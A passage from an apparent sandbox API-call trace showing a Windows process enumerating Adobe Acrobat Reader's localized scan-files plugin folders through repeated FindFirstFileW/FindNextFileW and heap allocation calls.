hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0261.774] GetProcessHeap () returned 0xc10000 [0261.774] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0261.774] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0261.774] GetProcessHeap () returned 0xc10000 [0261.774] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.774] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\en-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0261.775] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.775] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0261.775] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0261.775] GetProcessHeap () returned 0xc10000 [0261.775] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0261.775] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0261.775] GetProcessHeap () returned 0xc10000 [0261.775] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.775] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\es-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0261.777] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.777] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.777] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.777] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0261.778] GetProcessHeap () returned 0xc10000 [0261.779] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0261.779] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0261.779] GetProcessHeap () returned 0xc10000 [0261.779] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.779] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\eu-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0261.780] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.780] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x58b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.780] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x58b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.780] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0261.780] GetProcessHeap () returned 0xc10000 [0261.780] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0261.780] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0261.781] GetProcessHeap () returned 0xc10000 [0261.781] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.781] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\fi-fi\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0261.782] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.782] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.782] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.782] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0261.782] GetProcessHeap () returned 0xc10000 [0261.782] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0261.782] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0261.783] GetProcessHeap () returned 0xc10000 [0261.783] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.783] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\fr-fr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0261.784] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.784] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5df, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.784] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5df, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.784] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0261.784] GetProcessHeap () returned 0xc10000 [0261.784] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0261.784] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0261.785] GetProcessHeap () returned 0xc10000 [0261.785] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.785] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\fr-ma\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0261.786] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.786] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5df, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.786] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5df, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.786] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0261.786] GetProcessHeap () returned 0xc10000 [0261.786] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0261.786] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0261.786] GetProcessHeap () returned 0xc10000 [0261.786] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.786] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\he-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0261.787] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.787] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0261.787] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0261.787] GetProcessHeap () returned 0xc10000 [0261.787] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0261.787] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0261.787] GetProcessHeap () returned 0xc10000 [0261.788] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.788] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\hr-hr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0261.789] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.789] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.789] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.789] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0261.789] GetProcessHeap () returned 0xc10000 [0261.789] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0261.789] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", 